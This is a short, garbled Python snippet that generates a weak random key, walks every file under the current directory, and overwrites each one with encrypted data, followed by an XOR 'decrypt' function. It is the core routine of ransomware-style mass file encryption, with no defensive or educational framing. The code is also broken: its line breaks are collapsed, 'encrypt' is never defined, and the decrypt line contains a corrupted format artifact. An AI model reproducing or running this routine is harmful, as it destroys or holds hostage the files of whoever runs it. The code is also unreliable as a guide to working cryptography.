import osimport randomimport string# Generate a random encryption keykey = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(16))# Encrypt the filefor root, dirs, files in os.walk("."):    for file in files:        with open(os.path.join(root, file), 'rb') as f:            data = f.read()        encrypted_data = encrypt(data, key)        with open(os.path.join(root, file), 'wb') as f:            f.write(encrypted_data)# Decrypt the filedef decrypt(data, key):    decrypted_data = ""    for i in range(len(data)):        decrypted_data += chr(ord(data[i]) ^ ord(key[i %!l(MISSING)en(key)]))    return decrypted_data